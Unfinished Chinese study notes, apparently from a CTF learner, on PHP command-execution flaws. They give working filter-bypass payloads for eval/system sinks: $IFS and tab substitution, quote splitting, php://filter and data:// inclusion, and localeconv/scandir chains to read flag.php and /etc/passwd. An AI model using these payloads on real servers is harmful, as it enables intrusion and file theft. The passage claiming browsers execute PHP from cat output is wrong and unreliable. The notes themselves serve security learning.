命令执行漏洞(未完)
前言:正在学习命令执行漏洞,故记录一下
1.1 什么是命令执行
定义:用户输入的数据被当作系统命令执行
比如windows 下的cmd和linux下的bash
1.2 为什么会造成命令执行漏洞
1 代码层过滤不严格,没有过滤system等函数
2 系统的漏洞造成命令注入
3 调用的第三方组件存在代码执行漏洞
1.3 命令执行的常用函数
1.2.1 system函数
system函数是用来发出一个dos命令,注意,在windows平台下执行的是cmd命令
linux下执行的是unix命令
具体的用法
<?php
echo system("whoami");
?>
1.2.2 exec函数
格式为exec("命令",数组);
这种情况下会把返回结果存储在数组中;
或者像使用system一样,直接system("命令")
exec(命令)
注意,exec函数没有返回值,也不会把执行结果输出到输出缓存区,所以一般通过cp将flag给其
他的文件,然后直接访问对应文件就可以得到结果。
1.2.3 shell_exec函数
和exec没什么区别
1.2.4 passthru函数
和system没有什么区别,也能把输出结果给输出流打印在屏幕上,也可也返回输出结果的最后一
行,和exec差别较大但返回 完结果后或加一个返回状态,0是执行正确,1是执行错误
1.3 空格绕过
有些题肯
对于对空格进行判断的题,我们可以在双引号中使用url编码,即%09
来代替空格,但是注意要
是双引号,但引号不会对内部内容进行处理,可能有人会有疑问,%09是什么?%09实际上是
unicode下的制表符,利用制表符可以代替空格,与之相似的还有
<>
${IFS}
可以使用\$IFS\$9
这linux中的空格变量代替空格进行替代。
但注意使用转意,使用环境也必须在linux下进行。
如果执行的是类似于cat tac或者nl这种类似的命令,可以使用< 对其进行绕过,绕过的原理就
是< 作为重定向符,将后面文件的内容传递给了前面执行的命令
比如:cat a.php
就和cat<a.php
的效果是相同的,原因就是一个是将a.php作为参数传递,另
一个是将a.php的结果传递过去,输出的结果完全相同
在bash下可以用$IFS
、${IFS}
、$IFS$9
、%09
、<
、>
、<>
、{,}
(例如{cat,/etc/passwd} )、
%20
(space)、%09
(tab),这儿跟sql注入有点相似,用/**/注释也能绕过
1.4 常见的空格绕过payload
对于常见的空格绕过,可以使用上面的两种方法
?c=eval($_GET[1]);&1=passthru("tac%09fla*");
或者
?c=eval($_GET[1]);&1=passthru("tac\$IFS\$9fla*");
或者
?c=passthru(%22tac$IFS$9fla*%22);
也就是passthru("tac\$IFS\$9fla*")
利用上面这几种手段,绕过对c的判断,将真正的命令放在后面去执行。
1.5 括号和分号冒号引号绕过
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
对于对分号的过滤,我们可以使用?>来进行绕过,直接结束php文件,所以不用添加分号,对
于括号的绕过,之前的办法就不起作用了,但有没有注意到在进行文件包含操作,使用伪协议
时,整个payload中都没有出现括号,所以嵌套文件包含即可
具体payload如下
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
利用此方法可以成功获取payload
需要注意的是include可以使用%0a
绕过空格的原理是include可以跨行包含,php的大部分指令都是可
以跨行执行的,但是bash不行,所以bash就不能使用换行绕过空格了
1.6 等号绕过
对于使用等号的情况,上面的情况很明显无法使用了
但只需要略微改动一下即可
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
1.7 数字绕过
对于存在数字过滤的情况,考虑进行数字绕过,即将上面payload内数字改为字符即可
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
到这我才知道,GET变量内部可以填字符‘a’ 也可以填单独的字母a,就像上面一样,这样也是可
行的
1.8 与文件包含的结合
其实就是文件包含题,具体的过滤如下
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
发现存在文件包含漏洞,由于在过滤的是传入数据,直接使用data协议即可,具体的payload如
下
?c=data://text/plain,<?php system('tac f*');?>
1.9 过滤数字字母型
直接使用无数字字母rce即可,具体使用见我另一篇专门学习无数字字母rce的博客
2.0 只保留字母和英文括号、下划线、分号型
具体过滤如下:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
对于这种能过滤的基本都过滤了的题,我们应该采取什么方法呢?
首先需要学习一下print_r()函数,print_r函数是一个用于输出变量内容的函数,通常用来调试和查看变量的结构和值
<?php
$array = array('apple', 'banana', 'cherry');
echo print_r($array,true);
输出结果为
Array ( [0] => apple [1] => banana [2] => cherry )
当我们传入的第二个参数为true时,会将查询的结果作为print_r函数的返回值直接返回回来,如
果不传第二个参数,或传递false参数 则会直接将结果传给输出流进而输出屏幕上
而不用手动输出
print_r
不光能打印整个数组的键和值,如果单独传入某个数组的具体位置会直接输出该元素
比如
<?php
$a=[1,2,3,4];
`print_r($a[0]);
?>
这样的输出是没有问题的,只是只能输出值,不能输出键。
其次我们需要学习scandir('.')
的意思,此函数是用来扫描某个指定目录中文件和子目录名称
并将其存储在数组中的函数,传入的参数是目录地址,在上面我们传入'.'
就是代指当前目录,和
print_r()
结合一下就是 打印当前目录下所有文件和子目录的名称
print_r(scandir('.'));
但我们仔细观察了一下,发现.
也被过滤掉了,对于这种情况我们要如何解决呢?
首先在php中存在localeconv()函数,以下是具体的介绍:
在PHP中,localeconv()
函数用于获取当前地区(locale)的数值格式设置。地区是一种在不同国家和地区使用不同数字、货币和日期格式的方式,而localeconv()
函数可用于获取当前地区的这些格式设置的信息。这些信息通常包括货币符号、货币小数点符号、货币千位分隔符、小数点符号、百分号符号等等。
以下是localeconv()
函数的一般语法:
phpCopy code
localeconv()
这个函数没有参数,调用它会返回一个关联数组,包含了当前地区的各种数值格式设置信息。这个数组通常包含以下键:
'decimal_point'
:小数点符号。'thousands_sep'
:千位分隔符。'int_curr_symbol'
:国际货币符号。'currency_symbol'
:本地货币符号。'mon_decimal_point'
:货币中的小数点符号。'mon_thousands_sep'
:货币中的千位分隔符。'positive_sign'
:正数的符号。'negative_sign'
:负数的符号。'int_frac_digits'
:国际货币小数部分的位数。'frac_digits'
:本地货币小数部分的位数。'p_cs_precedes'
:本地货币符号是否出现在正数之前。'p_sep_by_space'
:本地货币符号是否与正数之间有空格。'n_cs_precedes'
:本地货币符号是否出现在负数之前。'n_sep_by_space'
:本地货币符号是否与负数之间有空格。'p_sign_posn'
:正数符号的位置。'n_sign_posn'
:负数符号的位置。
这些信息可以帮助你在程序中格式化数字和货币,以适应不同的地区习惯和语言要求。例如,你可以使用localeconv()
函数获取货币符号和小数点符号,然后使用这些信息来正确地显示货币金额。
下面是一个示例,演示如何使用localeconv()
函数:
phpCopy code$locale_info = localeconv();
echo "Decimal Point: " . $locale_info['decimal_point'] . "<br>";
echo "Thousand Separator: " . $locale_info['thousands_sep'] . "<br>";
echo "Currency Symbol: " . $locale_info['currency_symbol'] . "<br>";
// 可以继续输出其他信息
这个示例将输出当前地区的小数点符号、千位分隔符和货币符号等信息。请注意,localeconv()
的返回值是一个关联数组,你可以根据需要使用数组中的不同键来获取特定的数值格式设置信息。
我们发现可以用该函数来代替.
那么对于小数点的过滤就解决了。
由于返回的是数组,所以采用数组的方式进行调用
lovalconv()['decimal_point']
但问题又来了,单引号和中括号都被过滤掉了,这应该如何解决呢?
我们利用print_r看一下返回的lovalconv()数组的值
Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => [currency_symbol] => [mon_decimal_point] => [mon_thousands_sep] => [positive_sign] => [negative_sign] => [int_frac_digits] => 127 [frac_digits] => 127 [p_cs_precedes] => 127 [p_sep_by_space] => 127 [n_cs_precedes] => 127 [n_sep_by_space] => 127 [p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] => Array ( ) [mon_grouping] => Array ( ) )
发现数组中第一个值就是我们要的.
这时候再引进几个函数
current()
函数,作用是返回当前数组指针的元素,由于数组指针默认指向第一个,所以恰好可
以返回我们需要使用的值。php中可以使用next()函数去移动数组的默认指针。
pos()
作用完全和current()
相同,
reset()
函数可以返回数组第一个函数的值
由此我们可以再进一步
得到这个
print_r(scandir(current(localeconv())));
打印后发现flag.php存储在倒数第二个位置上,我们考虑使用highlight_file进行输出,但如何获得
flag.php的文件名呢?这里又要学习几个函数了
第一个是next()
,该函数用于将数组的指针向后移动一位,返回值为移动指针后指针指向的键
值,可以这样使用
$array = [1, 2, 3, 4, 5];
// 将指针指向数组的第一个元素
reset($array);
while ($element = next($array)) {
echo $element . "<br>";
}
与之相对的还有end()
函数,返回数组最尾端的值。
我们现在可以获得当前的值,倒数第一个的值,正数第二个的值,但就是无法得到倒数第二个的
值,这又该怎么办呢?此时再引入一个函数array_reverese()
,该函数可以返回反转后的数
组,好了,现在我们有了绕过该过滤的办法了
构造payload为
highlight_file (next(array_reverse(scandir(current(localeconv())))));
套了很多层的结果最终构造成payload.
2.1 对于限制输出流的过滤
如果后端代码直接将输出的结果直接丢弃,我们应该如何去处理呢?
比如过滤如下
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
有几个点需要解释下,
对于>/dev/null
这部分是将命令的标准输出丢弃,不显示在屏幕上 后面的2>&1
是将标准错误输出重
定向到标准输出,意味着任何错误的信息也不会进行输出。对于这种情况我们要怎么做呢?
考虑到该过滤会阻止输出,那我们连着使用两条命令,实际有用的命令放在第一条,无用的命令放在
第二条,这样即使是组织输出也组织的是第二条命令的输出,需要注意的是,两条命令间使用 ;
分隔
开,有了这个思路payload就好构造了
?c=tac flag.php;ls
这样就可以实际执行前一个语句了。flag便可成功获取。
2.2 对于限制输出流的进一步提升
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这个过滤大体上和上一种一致,唯一的区别就是把;
过滤掉了
对于这种情况我们如何处理呢?
参考我另一篇管道符的博客,可以发现既然;
无法使用,使用&&
即可,但是由于&
是特殊字符,所以
需要编码。&
的unicode为%26
构造好的payload为
?c=tac flag.php%26%26ls
结果成功获得flag
2.3
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
对于这种过滤方式,与之前相比把制表符和&&
给过滤掉了,既然过滤掉了&&
,那我们可以考虑
||
第二条命令的执行对我们来说没有意义,所以直接第二条命令为空即可,那空格我们该怎么
绕过呢?除了制表符绕过和ifs绕过,还可以使用<>
代替空格进行绕过,对于flag的过滤,我们不
光使用通配符可以绕过,还可以使用''
进行绕过,比如fal"g.php
在linux中空的引号会被忽
略,这就是绕过的原理,所以最终的payload 为
?c=tac<>fla''g.php||
成功获得flag,结束。
2.4
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
对于这种过滤方式,似乎将常规的方式都过滤掉了,此时使用另一种方式,这时候就要引入
linux中的nl命令了,执行nl命令可以给特定的文件增添行号,然后输出,由于输出方式和cat
相同,所以要查看网页源代码才能查看到,所以payload如下
?c=nl<fla''g.php||
当然也可也使用?c=nl<>fla''g.php||
我们发现过滤似乎没有过滤?,那我们可不可以使用通配符?呢,答案是不行,因为nl命令不支持
通配符操作。
2.5
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
对于这种过滤,将<> 过滤掉了,这时该用什么去绕过空格过滤呢?这时候就需要用到
${IFS} 在bash中代替空格了。
具体的payload如下
?c=nl${IFS}fla''g.php||
2.6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
对于这种过滤,和前面的没有什么区别,payload为
?c=nl${IFS}fla''g.php
或者
?c=nl${IFS}fla''g.php||ls
,为什么不能像上一题那样呢?因为上一题中|| 后面有
/dev/null 2>&1
去执行,所以||后面可以不加命令,但此题后面没有命令,所
以单独使用|| 是不行的。
2.7
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
该正则表达式和之前最主要的区别就在于匹配方式发生改变,首先我们要明白这是怎么匹配的
就以.*c.*a.*t
为例子
.*
出现的位置可以是任意字符,出现零次或者多次都可以,只要满足字符串内存在cat三个字母
且相对出现的顺序正确,即t出现在结尾,c和a出现在中间则都可以匹配,比如 acacct可以匹
配,因为满足上述规则,以t结尾,且出现cat,c在a前,a在c前,因此成功进行匹配
这时候进行思考,cat和tac都被过滤掉了,如果使用nl又无法使用通配符,绕过不了flag的过滤,
这时候又得使用新方法,uniq了
uniq用于去除文本中重复的行,并将去除后的结果发送到输出流中,所以Payload可以构造为
?c=uniq${IFS}fla?.php
我们需要注意的是,linux正常的输出流输出的内容都会被浏览解析,所以只要是输出的网页源
码,都需要通过查看源代码的方式进行查看,为什么会这样呢?
如果你使用 PHP 的 system
函数来执行 cat
命令查看包含 PHP 代码的 PHP 文件,然后将结果输出到浏览器,那么 PHP 文件的内容会被浏览器解析。这是因为在这种情况下,PHP 解释器实际上会解释并执行 PHP 代码,然后将其输出发送到浏览器。
以下是可能发生的过程:
-
你使用
system
函数执行cat
命令来读取 PHP 文件的内容。 -
cat
命令将文件的内容(包括 PHP 代码)输出到标准输出。 -
system
函数捕获了cat
命令的输出。 -
这个输出被作为 HTTP 响应的一部分发送到浏览器。
-
浏览器收到响应时,它会解析其中的 HTML 内容,如果 PHP 代码在 HTML 中,它会执行这些代码并显示结果。
这个行为是因为 PHP 解释器在 web 服务器环境中用于处理 PHP 文件。当通过 HTTP 请求访问
PHP 文件时,服务器会将 PHP 文件传递给 PHP 解释器执行,然后将输出发送到浏览器。因此,
如果你在 PHP 中使用 system
函数来执行 cat
命令并输出 PHP 文件的内容,浏览器会解析其
中的 PHP 代码并显示结果,就像访问 PHP 文件的 URL 一样。
以上就解释了为什么php代码会实际执行,因为在输出内容嵌套在html内容发送给客户端之前,
服务器端会将其作为开发人员所写的Php代码进行解析,然后将解析的html显示结果和其他html
内同一同发送给了客户都,然后在客户端-中进行显示,该问题的原理类似于xss跨站站脚本攻
击,都是将嵌套在Html中的内容进行解析,只不过xss是嵌套在客户端的html代码中,而此问题
嵌套在了客户端的html文件中,故xss不能执行php命令而这种情况可以。
除了上述方法还存在另一种方法
首先我们需要明白,linux中cat命令本质上调用的是cat文件,cat文件位于bin目录下。
我们可以直接使用绝对路径打开bin目录下的cat文件来使用cat命令,从而利用通配符对过滤进行
绕过
具体的payload如下
?c=/bin/?at${IFS}f?a?.php
根据通配符的使用有多种payload,但是问题是前面有个
.*n.*l.*
这个byd玩意很傻卵,如果你觉得通配符可以随便放的话,那么fl??.php这种情况就会
被匹配,这是异常傻卵的匹配,导致我找了小半个小时,难绷。